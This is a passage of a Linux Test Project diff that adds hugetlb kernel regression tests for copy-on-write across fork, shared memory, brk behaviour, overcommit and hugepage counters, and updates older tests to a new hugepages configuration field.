.test_all = run_test, + .hugepages = {3, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugefork/Makefile b/testcases/kernel/mem/hugetlb/hugefork/Makefile new file mode 100644 index 00000000..8a795ac4 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugefork/Makefile @@ -0,0 +1,9 @@ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (C) 2009, Cisco Systems Inc. +# Ngie Cooper, July 2009 + +top_srcdir ?= ../../../../.. + +include $(top_srcdir)/include/mk/testcases.mk +include $(abs_srcdir)/../Makefile.inc +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/mem/hugetlb/hugefork/hugefork01.c b/testcases/kernel/mem/hugetlb/hugefork/hugefork01.c new file mode 100644 index 00000000..90cefdba --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugefork/hugefork01.c @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2008 David Gibson, IBM Corporation. + * Author: David Gibson + */ + +/*\ + * [Description] + * + * This checks copy-on-write semantics, specifically the semantics of a + * MAP_PRIVATE mapping across a fork(). Some versions of the powerpc + * kernel had a bug in huge_ptep_set_wrprotect() which would fail to + * flush the hash table after setting the write protect bit in the parent's + * page tables, thus allowing the parent to pollute the child's mapping. + * + */ + +#include +#include +#include +#include +#include + +#include "hugetlb.h" + +#define C1 0x1234ABCD +#define C2 ~0x1234ABCD +#define C3 0xfeef5678 +#define MNTPOINT "hugetlbfs/" +static int fd = -1; +static long hpage_size; + +static void run_test(void) +{ + volatile unsigned int *p; + int parent_readback; + pid_t pid; + + p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); + *p = C1; + + pid = SAFE_FORK(); + if (pid != 0) { + *p = C2; + TST_CHECKPOINT_WAKE_AND_WAIT(0); + parent_readback = *p; + TST_CHECKPOINT_WAKE(0); + } else { + unsigned int child_readback = 0; + + TST_CHECKPOINT_WAIT(0); + child_readback = *p; + *p = C3; + TST_CHECKPOINT_WAKE_AND_WAIT(0); + TST_EXP_EXPR(child_readback == C1, "0x%x == child_readback (0x%x)", + C1, child_readback); + exit(0); + } + tst_reap_children(); + TST_EXP_EXPR(parent_readback == C2, "0x%x == parent_readback (0x%x)", + C2, parent_readback); + + SAFE_MUNMAP((void *)p, hpage_size); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO("Hugepagesize:")*1024; + fd = tst_creat_unlinked(MNTPOINT, 0); +} + +static void cleanup(void) +{ + if (fd > 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .tags = (struct tst_tag[]) { + {"linux-git", "86df86424939"}, + {} + }, + .needs_root = 1, + .needs_checkpoints = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .forks_child = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {2, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugefork/hugefork02.c b/testcases/kernel/mem/hugetlb/hugefork/hugefork02.c new file mode 100644 index 00000000..de495f08 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugefork/hugefork02.c @@ -0,0 +1,91 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * Test shared memory behavior when multiple threads are attached to a + * segment. A segment is created and then children are spawned which + * attach, write, read (verify), and detach from the shared memory segment. + */ + +#include "tst_safe_sysv_ipc.h" +#include "hugetlb.h" + +static int shmid = -1; + +#define NR_HUGEPAGES 5 +#define NUMPROCS MIN(50L, tst_ncpus_available()) +#define MNTPOINT "hugetlbfs/" + +static long hpage_size; + +static void do_child(int thread, unsigned long size) +{ + volatile char *shmaddr; + int j; + unsigned long k; + + for (j = 0; j < 5; j++) { + shmaddr = SAFE_SHMAT(shmid, 0, SHM_RND); + + for (k = 0; k < size; k++) + shmaddr[k] = (char) (k); + for (k = 0; k < size; k++) + if (shmaddr[k] != (char)k) { + tst_res(TFAIL, "Thread %d, Offset %lu mismatch", thread, k); + goto cleanup; + } + + SAFE_SHMDT((const void *)shmaddr); + } + +cleanup: + exit(0); +} + +static void run_test(void) +{ + unsigned long size; + int pid; + int i; + + size = hpage_size * NR_HUGEPAGES; + shmid = SAFE_SHMGET(2, size, SHM_HUGETLB|IPC_CREAT|SHM_R|SHM_W); + + for (i = 0; i < NUMPROCS; i++) { + pid = SAFE_FORK(); + + if (pid == 0) + do_child(i, size); + } + + tst_reap_children(); + tst_res(TPASS, "Successfully tested shared hugetlb memory with multiple procs"); +} + +static void setup(void) +{ + hpage_size = tst_get_hugepage_size(); +} + +static void cleanup(void) +{ + if (shmid >= 0) + SAFE_SHMCTL(shmid, IPC_RMID, NULL); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .needs_tmpdir = 1, + .forks_child = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {NR_HUGEPAGES, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c index fcb4443f..3fc73000 100755 --- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c @@ -98,5 +98,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = test_hugemmap, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c index 3be68418..e818cd5a 100755 --- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap02.c @@ -145,5 +145,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = test_hugemmap, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c index 236010fe..6af032aa 100755 --- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap04.c @@ -116,5 +116,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = test_hugemmap, - .request_hugepages = 128, + .hugepages = {128, TST_REQUEST}, }; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c index 40d3bd8d..d5983fc5 100755 --- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap05.c @@ -185,9 +185,6 @@ static void setup(void) { unsigned long hpages; - if (tst_hugepages != NR_HPAGES) - tst_brk(TCONF, "Not enough hugepages for testing!"); - hugepagesize = SAFE_READ_MEMINFO("Hugepagesize:") * 1024; init_sys_sz_paths(); @@ -307,5 +304,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = test_overcommit, - .request_hugepages = NR_HPAGES, + .hugepages = {NR_HPAGES, TST_NEEDS}, }; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c index ab2ccc40..79bea8e8 100755 --- a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap06.c @@ -39,8 +39,6 @@ struct mp { static void setup(void) { - if (tst_hugepages != test.request_hugepages) - tst_brk(TCONF, "System RAM is not enough to test."); hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024; } @@ -116,13 +114,12 @@ static void do_mmap(unsigned int j LTP_ATTRIBUTE_UNUSED) } static struct tst_test test = { - .min_kver = "2.6.32", .needs_root = 1, .tcnt = LOOP, .needs_tmpdir = 1, .test = do_mmap, .setup = setup, - .request_hugepages = (ARSZ + 1) * LOOP, + .hugepages = {(ARSZ + 1) * LOOP, TST_NEEDS}, .tags = (const struct tst_tag[]) { {"linux-git", "f522c3ac00a4"}, {"linux-git", "9119a41e9091"}, diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap07.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap07.c new file mode 100644 index 00000000..846d22ff --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap07.c @@ -0,0 +1,132 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * Certain kernels have a bug where brk() does not perform the same + * checks that a MAP_FIXED mmap() will, allowing brk() to create a + * normal page VMA in a hugepage only address region. This can lead + * to oopses or other badness. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "hugetlb.h" +#include "tst_safe_stdio.h" + +#define MNTPOINT "hugetlbfs/" +static long hpage_size; +static int huge_fd = -1; + +#ifdef __powerpc64__ +static int arch_has_slice_support(void) +{ + char mmu_type[16]; + + SAFE_FILE_LINES_SCANF("/proc/cpuinfo", "MMU : %16s", mmu_type); + return strcmp(mmu_type, "Hash") == 0; +} + +static void *next_chunk(void *addr) +{ + if (!arch_has_slice_support()) + return PALIGN(addr, hpage_size); + + if ((unsigned long)addr < 0x100000000UL) + /* 256M segments below 4G */ + return PALIGN(addr, 0x10000000UL); + /* 1TB segments above */ + return PALIGN(addr, 0x10000000000UL); +} +#elif defined(__powerpc__) +static void *next_chunk(void *addr) +{ + if (tst_kernel_bits() == 32) + return PALIGN(addr, hpage_size); + else + return PALIGN(addr, 0x10000000UL); +} +#elif defined(__ia64__) +static void *next_chunk(void *addr) +{ + return PALIGN(addr, 0x8000000000000000UL); +} +#else +static void *next_chunk(void *addr) +{ + return PALIGN(addr, hpage_size); +} +#endif + +static void run_test(void) +{ + void *brk0, *hugemap_addr, *newbrk; + char *p; + int err; + + brk0 = sbrk(0); + tst_res(TINFO, "Initial break at %p", brk0); + + hugemap_addr = next_chunk(brk0) + hpage_size; + + p = SAFE_MMAP(hugemap_addr, hpage_size, PROT_READ|PROT_WRITE, + MAP_PRIVATE|MAP_FIXED, huge_fd, 0); + if (p != hugemap_addr) { + tst_res(TFAIL, "mmap() at unexpected address %p instead of %p\n", p, + hugemap_addr); + goto cleanup; + } + + newbrk = next_chunk(brk0) + getpagesize(); + err = brk((void *)newbrk); + if (err == -1) { + /* Failing the brk() is an acceptable kernel response */ + tst_res(TPASS, "Failing the brk at %p is an acceptable response", + newbrk); + } else { + /* Suceeding the brk() is acceptable if the new memory is + * properly accesible and we don't have a kernel blow up when + * we touch it. + */ + tst_res(TINFO, "New break at %p", newbrk); + memset(brk0, 0, newbrk-brk0); + tst_res(TPASS, "memory is accessible, hence successful brk() is " + "an acceptable response"); + } +cleanup: + SAFE_MUNMAP(p, hpage_size); + err = brk(brk0); + if (err == -1) + tst_brk(TBROK, "Failed to set break at the original position"); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SIZE)*1024; + huge_fd = tst_creat_unlinked(MNTPOINT, 0); +} + +static void cleanup(void) +{ + SAFE_CLOSE(huge_fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .taint_check = TST_TAINT_D | TST_TAINT_W, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {1, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap08.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap08.c new file mode 100644 index 00000000..f01a9f36 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap08.c @@ -0,0 +1,142 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2006 David Gibson & Adam Litke, IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * Some kernel versions after hugepage demand allocation was added used a + * dubious heuristic to check if there was enough hugepage space available + * for a given mapping. The number of not-already-instantiated pages in + * the mapping was compared against the total hugepage free pool. It was + * very easy to confuse this heuristic into overcommitting by allocating + * hugepage memory in chunks, each less than the total available pool size + * but together more than available. This would generally lead to OOM + * SIGKILLs of one process or another when it tried to instantiate pages + * beyond the available pool. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" +#define WITH_OVERCOMMIT 0 +#define WITHOUT_OVERCOMMIT 1 + +static long hpage_size; +static int huge_fd = -1; + +static void test_chunk_overcommit(void) +{ + unsigned long totpages, chunk1, chunk2; + void *p, *q; + pid_t child; + int status; + + totpages = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + + chunk1 = (totpages / 2) + 1; + chunk2 = totpages - chunk1 + 1; + + tst_res(TINFO, "Free: %ld hugepages available: " + "chunk1=%ld chunk2=%ld", totpages, chunk1, chunk2); + + p = SAFE_MMAP(NULL, chunk1*hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, + huge_fd, 0); + + q = mmap(NULL, chunk2*hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, + huge_fd, chunk1*hpage_size); + if (q == MAP_FAILED) { + if (errno != ENOMEM) { + tst_res(TFAIL | TERRNO, "mmap() chunk2"); + goto cleanup1; + } else { + tst_res(TPASS, "Successful without overcommit pages"); + goto cleanup1; + } + } + + tst_res(TINFO, "Looks like we've overcommitted, testing..."); + /* Looks like we're overcommited, but we need to confirm that + * this is bad. We touch it all in a child process because an + * overcommit will generally lead to a SIGKILL which we can't + * handle, of course. + */ + child = SAFE_FORK(); + + if (child == 0) { + memset(p, 0, chunk1*hpage_size); + memset(q, 0, chunk2*hpage_size); + exit(0); + } + + SAFE_WAITPID(child, &status, 0); + + if (WIFSIGNALED(status)) { + tst_res(TFAIL, "Killed by signal '%s' due to overcommit", + tst_strsig(WTERMSIG(status))); + goto cleanup2; + } + + tst_res(TPASS, "Successful with overcommit pages"); + +cleanup2: + SAFE_MUNMAP(q, chunk2*hpage_size); + +cleanup1: + SAFE_MUNMAP(p, chunk1*hpage_size); + SAFE_FTRUNCATE(huge_fd, 0); +} + +static void run_test(unsigned int test_type) +{ + switch (test_type) { + case WITHOUT_OVERCOMMIT: + tst_res(TINFO, "Without overcommit testing..."); + SAFE_FILE_PRINTF(PATH_OC_HPAGES, "%d", 0); + break; + case WITH_OVERCOMMIT: + tst_res(TINFO, "With overcommit testing..."); + SAFE_FILE_PRINTF(PATH_OC_HPAGES, "%d", 2); + break; + } + test_chunk_overcommit(); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SIZE)*1024; + huge_fd = tst_creat_unlinked(MNTPOINT, 0); +} + +static void cleanup(void) +{ + SAFE_CLOSE(huge_fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .forks_child = 1, + .save_restore = (const struct tst_path_val[]) { + {PATH_OC_HPAGES, NULL, TST_SR_TCONF}, + {} + }, + .tcnt = 2, + .setup = setup, + .cleanup = cleanup, + .test = run_test, + .hugepages = {3, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap09.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap09.c new file mode 100644 index 00000000..336ccdf6 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap09.c @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2013 Joonsoo Kim, LG Electronics. + * Author: Joonsoo Kim + */ + +/*\ + * [Description] + * + * Test sanity of cow optimization on page cache. If a page in page cache + * has only 1 ref count, it is mapped for a private mapping directly and + * is overwritten freely, so next time we access the page, we can see + * corrupt data. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" +static long hpage_size; +static int huge_fd = -1; + +static void run_test(void) +{ + char *p; + char c; + + p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, + huge_fd, 0); + *p = 's'; + tst_res(TINFO, "Write %c to %p via shared mapping", *p, p); + SAFE_MUNMAP(p, hpage_size); + + p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, + huge_fd, 0); + *p = 'p'; + tst_res(TINFO, "Write %c to %p via private mapping", *p, p); + SAFE_MUNMAP(p, hpage_size); + + p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_SHARED, + huge_fd, 0); + c = *p; + tst_res(TINFO, "Read %c from %p via shared mapping", *p, p); + SAFE_MUNMAP(p, hpage_size); + + /* Direct write from huge page */ + if (c != 's') + tst_res(TFAIL, "Data got corrupted."); + else + tst_res(TPASS, "Successful"); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SIZE)*1024; + huge_fd = tst_creat_unlinked(MNTPOINT, 0); +} + +static void cleanup(void) +{ + SAFE_CLOSE(huge_fd); +} + +static struct tst_test test = { + .needs_root = 1, + .mntpoint = MNTPOINT, + .needs_hugetlbfs = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = run_test, + .hugepages = {2, TST_NEEDS}, +}; diff --git a/testcases/kernel/mem/hugetlb/hugemmap/hugemmap10.c b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap10.c new file mode 100644 index 00000000..0e1b6454 --- /dev/null +++ b/testcases/kernel/mem/hugetlb/hugemmap/hugemmap10.c @@ -0,0 +1,460 @@ +// SPDX-License-Identifier: LGPL-2.1-or-later +/* + * Copyright (C) 2005-2007 IBM Corporation. + * Author: David Gibson & Adam Litke + */ + +/*\ + * [Description] + * + * This Test perform mmap, munmap and write operation on hugetlb file + * based mapping. Mapping can be shared or private. and it checks for + * Hugetlb counter (Total, Free, Reserve, Surplus) in /proc/meminfo and + * compare them with expected (calculated) value. if all checks are + * successful, the test passes. + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +#include "hugetlb.h" + +#define MNTPOINT "hugetlbfs/" + +static long hpage_size; +static int private_resv; + +#define NR_SLOTS 2 +#define SL_SETUP 0 +#define SL_TEST 1 +static int map_fd[NR_SLOTS]; +static char *map_addr[NR_SLOTS]; +static unsigned long map_size[NR_SLOTS]; +static unsigned int touched[NR_SLOTS]; + +static long prev_total; +static long prev_free; +static long prev_resv; +static long prev_surp; + +static void read_meminfo_huge(long *total, long *free, long *resv, long *surp) +{ + *total = SAFE_READ_MEMINFO(MEMINFO_HPAGE_TOTAL); + *free = SAFE_READ_MEMINFO(MEMINFO_HPAGE_FREE); + *resv = SAFE_READ_MEMINFO(MEMINFO_HPAGE_RSVD); + *surp = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SURP); +} + +static int kernel_has_private_reservations(void) +{ + int fd; + long t, f, r, s; + long nt, nf, nr, ns; + void *p; + + read_meminfo_huge(&t, &f, &r, &s); + fd = tst_creat_unlinked(MNTPOINT, 0); + + p = SAFE_MMAP(NULL, hpage_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); + + read_meminfo_huge(&nt, &nf, &nr, &ns); + + SAFE_MUNMAP(p, hpage_size); + SAFE_CLOSE(fd); + + /* + * There are only three valid cases: + * 1) If a surplus page was allocated to create a reservation, all + * four pool counters increment + * 2) All counters remain the same except for Hugepages_Rsvd, then + * a reservation was created using an existing pool page. + * 3) All counters remain the same, indicates that no reservation has + * been created + */ + if ((nt == t + 1) && (nf == f + 1) && (ns == s + 1) && (nr == r + 1)) + return 1; + else if ((nt == t) && (nf == f) && (ns == s)) { + if (nr == r + 1) + return 1; + else if (nr == r) + return 0; + } + tst_brk(TCONF, "bad counter state - " + "T:%li F:%li R:%li S:%li -> T:%li F:%li R:%li S:%li", + t, f, r, s, nt, nf, nr, ns); + return -1; +} + +static int verify_counters(int line, char *desc, long et, long ef, long er, long es) +{ + long t, f, r, s; + long fail = 0; + + read_meminfo_huge(&t, &f, &r, &s); + + if (t != et) { + tst_res_(__FILE__, line, TFAIL, "While %s: Bad "MEMINFO_HPAGE_TOTAL + " expected %li, actual %li", desc, et, t); + fail++; + } + if (f != ef) { + tst_res_(__FILE__, line, TFAIL, "While %s: Bad "MEMINFO_HPAGE_FREE + " expected %li, actual %li", desc, ef, f); + fail++; + } + if (r != er) { + tst_res_(__FILE__, line, TFAIL, "While %s: Bad "MEMINFO_HPAGE_RSVD + " expected %li, actual %li", desc, er, r); + fail++; + } + if (s != es) { + tst_res_(__FILE__, line, TFAIL, "While %s: Bad "MEMINFO_HPAGE_SURP + " expected %li, actual %li", desc, es, s); + fail++; + } + + if (fail) + return -1; + + prev_total = t; + prev_free = f; + prev_resv = r; + prev_surp = s; + return 0; +} + +/* Memory operations: + * Each of these has a predefined effect on the counters + */ +static int set_nr_hugepages_(long count, char *desc, int line) +{ + long min_size; + long et, ef, er, es; + + SAFE_FILE_PRINTF(PATH_NR_HPAGES, "%lu", count); + + /* The code below is based on set_max_huge_pages in mm/hugetlb.c */ + es = prev_surp; + et = prev_total; + ef = prev_free; + er = prev_resv; + + /* + * Increase the pool size + * First take pages out of surplus state. Then make up the + * remaining difference by allocating fresh huge pages. + */ + while (es && count > et - es) + es--; + while (count > et - es) { + et++; + ef++; + } + if (count >= et - es) + goto out; + + /* + * Decrease the pool size + * First return free pages to the buddy allocator (being careful + * to keep enough around to satisfy reservations). Then place + * pages into surplus state as needed so the pool will shrink + * to the desired size as pages become free. + */ + min_size = MAX(count, er + et - ef); + while (min_size < et - es) { + ef--; + et--; + } + while (count < et - es) + es++; + +out: + return verify_counters(line, desc, et, ef, er, es); +} +#define SET_NR_HUGEPAGES(c, d) set_nr_hugepages_(c, d, __LINE__) + +static int map_(int s, int hpages, int flags, char *desc, int line) +{ + long et, ef, er, es; + + map_fd[s] = tst_creat_unlinked(MNTPOINT, 0); + map_size[s] = hpages * hpage_size; + map_addr[s] = SAFE_MMAP(NULL, map_size[s], PROT_READ|PROT_WRITE, flags, + map_fd[s], 0); + touched[s] = 0; + + et = prev_total; + ef = prev_free; + er = prev_resv; + es = prev_surp; + /* + * When using MAP_SHARED, a reservation will be created to guarantee + * pages to the process. If not enough pages are available to + * satisfy the reservation, surplus pages are added to the pool. + * NOTE: This code assumes that the whole mapping needs to be + * reserved and hence, will not work with partial reservations. + * + * If the kernel supports private reservations, then MAP_PRIVATE + * mappings behave like MAP_SHARED at mmap time. Otherwise, + * no counter updates will occur. + */ + if ((flags & MAP_SHARED) || private_resv) { + unsigned long shortfall = 0; + + if (hpages + prev_resv > prev_free) + shortfall = hpages - prev_free + prev_resv; + et += shortfall; + ef += shortfall; + er += hpages; + es += shortfall; + } + + return verify_counters(line, desc, et, ef, er, es); +} +#define MAP(s, h, f, d) map_(s, h, f, d, __LINE__) + +static int unmap_(int s, int hpages, int flags, char *desc, int line) +{ + long et, ef, er, es; + unsigned long i; + + SAFE_MUNMAP(map_addr[s], map_size[s]); + SAFE_CLOSE(map_fd[s]); + map_addr[s] = NULL; + map_size[s] = 0; + + et = prev_total; + ef = prev_free; + er = prev_resv; + es = prev_surp; + + /* + * When a VMA is unmapped, the instantiated (touched) pages are + * freed. If the pool is in a surplus state, pages are freed to the + * buddy allocator, otherwise they go back into the hugetlb pool. + * NOTE: This code assumes touched pages have only one user. + */ + for (i = 0; i < touched[s]; i++) { + if (es) { + et--; + es--; + } else + ef++; + } + + /* + * mmap may have created some surplus pages to accommodate a + * reservation. If those pages were not touched, then they will + * not have been freed by the code above. Free them here. + */ + if ((flags & MAP_SHARED) || private_resv) { + int unused_surplus = MIN(hpages - touched[s], es); + + et -= unused_surplus; + ef -= unused_surplus; + er -= hpages - touched[s]; + es -= unused_surplus; + } + + return verify_counters(line, desc, et, ef, er, es); +} +#define UNMAP(s, h, f, d) unmap_(s, h, f, d, __LINE__) + +static int touch_(int s, int hpages, int flags, char *desc, int line) +{ + long et, ef, er, es; + int nr; + char *c; + + for (c = map_addr[s], nr = hpages; + hpages && c < map_addr[s] + map_size[s]; + c += hpage_size, nr--) + *c = (char) (nr % 2); + /* + * Keep track of how many pages were touched since we can't easily + * detect that from user space. + * NOTE: Calling this function more than once for a mmap may yield + * results you don't expect. Be careful :) + */ + touched[s] = MAX(touched[s], hpages); + + /* + * Shared (and private when supported) mappings and consume resv pages + * that were previously allocated. Also deduct them from the free count. + * + * Unreserved private mappings may need to allocate surplus pages to + * satisfy the fault. The surplus pages become part of the pool + * which could elevate total, free, and surplus counts. resv is + * unchanged but free must be decreased. + */ + if (flags & MAP_SHARED || private_resv) { + et = prev_total; + ef = prev_free - hpages; + er = prev_resv - hpages; + es = prev_surp; + } else { + if (hpages + prev_resv > prev_free) + et = prev_total + (hpages - prev_free + prev_resv); + else + et = prev_total; + er = prev_resv; + es = prev_surp + et - prev_total; + ef = prev_free - hpages + et - prev_total; + } + return verify_counters(line, desc, et, ef, er, es); +} +#define TOUCH(s, h, f, d) touch_(s, h, f, d, __LINE__) + +static int test_counters(char *desc, int base_nr) +{ + tst_res(TINFO, "%s...", desc); + + if (SET_NR_HUGEPAGES(base_nr, "initializing hugepages pool")) + return -1; + + /* untouched, shared mmap */ + if (MAP(SL_TEST, 1, MAP_SHARED, "doing mmap shared with no touch") || + UNMAP(SL_TEST, 1, MAP_SHARED, "doing munmap on shared with no touch")) + return -1; + + /* untouched, private mmap */ + if (MAP(SL_TEST, 1, MAP_PRIVATE, "doing mmap private with no touch") || + UNMAP(SL_TEST, 1, MAP_PRIVATE, "doing munmap private with on touch")) + return -1; + + /* touched, shared mmap */ + if (MAP(SL_TEST, 1, MAP_SHARED, "doing mmap shared followed by touch") || + TOUCH(SL_TEST, 1, MAP_SHARED, "touching the addr after mmap shared") || + UNMAP(SL_TEST, 1, MAP_SHARED, "doing munmap shared after touch")) + return -1; + + /* touched, private mmap */ + if (MAP(SL_TEST, 1, MAP_PRIVATE, "doing mmap private followed by touch") || + TOUCH(SL_TEST, 1, MAP_PRIVATE, "touching the addr after mmap private") || + UNMAP(SL_TEST, 1, MAP_PRIVATE, "doing munmap private after touch")) + return -1; + + /* + * Explicit resizing during outstanding surplus + * Consume surplus when growing pool + */ + if (MAP(SL_TEST, 2, MAP_SHARED, "doing mmap to consume surplus") || + SET_NR_HUGEPAGES(MAX(base_nr, 1), "setting hugepages pool to consume surplus")) + return -1; + + /* Add pages once surplus is consumed */ + if (SET_NR_HUGEPAGES(MAX(base_nr, 3), "adding more pages after consuming surplus")) + return -1; + + /* Release free huge pages first */ + if (SET_NR_HUGEPAGES(MAX(base_nr, 2), "releasing free huge pages")) + return -1; + + /* When shrinking beyond committed level, increase surplus */ + if (SET_NR_HUGEPAGES(base_nr, "increasing surplus counts")) + return -1; + + /* Upon releasing the reservation, reduce surplus counts */ + if (UNMAP(SL_TEST, 2, MAP_SHARED, "reducing surplus counts")) + return -1; + + tst_res(TINFO, "OK"); + return 0; +} + +static void per_iteration_cleanup(void) +{ + int nr; + + prev_total = 0; + prev_free = 0; + prev_resv = 0; + prev_surp = 0; + for (nr = 0; nr < NR_SLOTS; nr++) { + if (map_addr[nr]) + SAFE_MUNMAP(map_addr[nr], map_size[nr]); + if (map_fd[nr] > 0) + SAFE_CLOSE(map_fd[nr]); + } +} + +static int test_per_base_nr(int base_nr) +{ + tst_res(TINFO, "Base pool size: %i", base_nr); + + /* Run the tests with a clean slate */ + if (test_counters("Clean", base_nr)) + return -1; + + /* Now with a pre-existing untouched, shared mmap */ + if (MAP(SL_SETUP, 1, MAP_SHARED, "mmap for test having prior untouched shared mmap") || + test_counters("Untouched, shared", base_nr) || + UNMAP(SL_SETUP, 1, MAP_SHARED, "unmap after test having prior untouched shared mmap")) + return -1; + + /* Now with a pre-existing untouched, private mmap */ + if (MAP(SL_SETUP, 1, MAP_PRIVATE, "mmap for test having prior untouched private mmap") || + test_counters("Untouched, private", base_nr) || + UNMAP(SL_SETUP, 1, MAP_PRIVATE, "unmap after test having prior untouched private mmap")) + return -1; + + /* Now with a pre-existing touched, shared mmap */ + if (MAP(SL_SETUP, 1, MAP_SHARED, "mmap for test having prior touched shared mmap") || + TOUCH(SL_SETUP, 1, MAP_SHARED, "touching for test having prior touched shared mmap") || + test_counters("Touched, shared", base_nr) || + UNMAP(SL_SETUP, 1, MAP_SHARED, "unmap after test having prior touched shared mmap")) + return -1; + + /* Now with a pre-existing touched, private mmap */ + if (MAP(SL_SETUP, 1, MAP_PRIVATE, "mmap for test with having touched private mmap") || + TOUCH(SL_SETUP, 1, MAP_PRIVATE, "touching for test with having touched private mmap") || + test_counters("Touched, private", base_nr) || + UNMAP(SL_SETUP, 1, MAP_PRIVATE, "unmap after test having prior touched private mmap")) + return -1; + return 0; +} + +static void run_test(void) +{ + int base_nr; + + for (base_nr = 0; base_nr <= 3; base_nr++) { + if (test_per_base_nr(base_nr)) + break; + } + if (base_nr > 3) + tst_res(TPASS, "Hugepages Counters works as expected."); + per_iteration_cleanup(); +} + +static void setup(void) +{ + hpage_size = SAFE_READ_MEMINFO(MEMINFO_HPAGE_SIZE)*1024; + SAFE_FILE_PRINTF(PATH_OC_HPAGES, "%lu", tst_hugepages); + private_resv = kernel_has_private_reservations(); +} + 